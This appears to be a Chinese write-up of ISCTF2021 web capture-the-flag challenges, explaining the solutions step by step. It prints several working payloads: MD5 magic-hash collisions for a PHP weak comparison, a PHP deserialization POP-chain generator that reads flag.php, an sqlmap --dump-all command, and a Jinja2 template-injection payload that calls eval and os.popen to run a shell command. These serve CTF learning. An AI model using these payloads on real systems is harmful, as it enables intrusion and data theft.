ISCTF2021

Web签到

题目提示需要查看源码直接抓包查看即可

或者修改url为view-source:http://challenge.imxbt.cn:31843/

view-source:的意思是查看源代码

即可查看源码Ctrl+U也可以,题目只是限制了F12

粗心的小蓝鲨

登录界面随便输入就会得到hint

复制代码
<?php
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $name=$_POST["username"]; 
        $pwd=$_POST["password"];
        $logined = true;
        $flag = 'XXXX';
        include("flag.php");
//检查是否通过 POST 方法提交了 username 和 password
        if (!ctype_alpha($name)) {$logined = false;}
//username 必须全部由 纯字母(A-Z, a-z)组成。如果包含数字、空格或特殊字符,登录失败
        if (!is_numeric($pwd) ) {$logined = false;}
//password 必须是一个 数字 或 数字字符串
        if (md5($name) != md5($pwd)) {$logined = false;}
//弱比较账号和密码的MD5值
        if ($logined){
            echo "<h1>"."login successful"."<p>".$flag;
        }else{
            echo "<h1>"."Login failed"."<p>"."The blue shark mocked you and threw a hint at you"."<p>";
            highlight_file(__FILE__);
        }
    }
?>

我们可以找两个个MD5值都是0e开头的字符串和数字字符串

复制代码
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854

即可获取flag

pop_unserialize

复制代码
<?php
//flag.php
//MF师傅告诉我file_get_contents这个函数能输出flag.php里面的内容
error_reporting(0);
class MF_is_cat{
    private $pop = "f00001111";
    public $MF = "miao~ miao~ miao~";
    function __construct(){
        $this->pop =new ISCTF();
    }

    function __destruct(){
        $this->pop->action();
    }
}

class ISCTF{
    function action(){
        echo "Welcome to ISCTF World!";
    }
}

class Show{
    var $test2;
    function action(){
       echo file_get_contents('f'.$this->test2.'g.php');
    }
}


if(isset($_POST['ISCTF'])){
    unserialize($_POST['ISCTF']);
    }else{
    $obj = new MF_is_cat();
    highlight_file(__FILE__);
    }
?>  Welcome to ISCTF World!

<?php
class MF_is_cat{
private $pop = "f00001111";
public $MF = "miao~ miao~ miao~";
function __construct(){
$this->pop =new Show();
}
}
class Show{
public $test2="la";
function action(){
}
}
echo urlencode(serialize(new MF_is_cat()));
?>
//控制 MF_is_cat 类的 $pop 属性,使其成为一个 Show 类的对象
控制 Show 类的 $test2 属性,将其赋值为字符串 "la"
反序列化结束后,PHP 销毁 MF_is_cat 对象,触发 __destruct()
进而调用 Show->action(),执行 file_get_contents('flag.php')

easysql

存在报错注入

直接

复制代码
D:\web\sqlmap-master\sqlmap-master>python sqlmap.py -u "http://challenge.imxbt.cn:31390/login.php?username=admin&password=123" --dump-all

就可以了,就是有点慢

小蜘蛛

提示存在robots.txt

easy flask

看到提示直接查看全局

复制代码
/?id={% for c in ().__class__.__mro__[1].__su
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__=={}.__class__ %}
{% if 'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("grep ISCTF *").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

当然也可以直接找

拼图

拼好就给flag

相关推荐
木子予彤42 分钟前
Android 性能诊断 V2:基于 Agent Skill 的原生 IDE 融合架构
android·ai编程
木子予彤1 小时前
基于 Perfetto 与 AI 的 Android 性能自动化诊断方案
android·ai编程
代龙涛1 小时前
WordPress 首页模板怎么写(index.php 与 front-page.php)
android·php·android studio
羊羊20351 小时前
开发手札:Unity6000与Android交互
android·unity·android-studio
Kapaseker2 小时前
如果你还没有搞懂 Kotlin 委托属性,进来看看
android·kotlin
黄林晴2 小时前
苦等多年!Compose 终于迎来原生 Media3 播放器
android
亘元有量-流量变现2 小时前
深度技术对比:Android、iOS、鸿蒙(HarmonyOS)权限管理全解析
android·ios·harmonyos·方糖试玩
米码收割机2 小时前
【Android】基于安卓app的健身房会员管理系统(源码+部署方式+论文)[独一无二]
android
酿情师2 小时前
2026软件系统安全赛初赛RSA(赛后复盘)
android·网络·安全·密码学·rsa
Digitally2 小时前
如何轻松地使用隔空投送将iPhone内容传输到Android
android·ios·iphone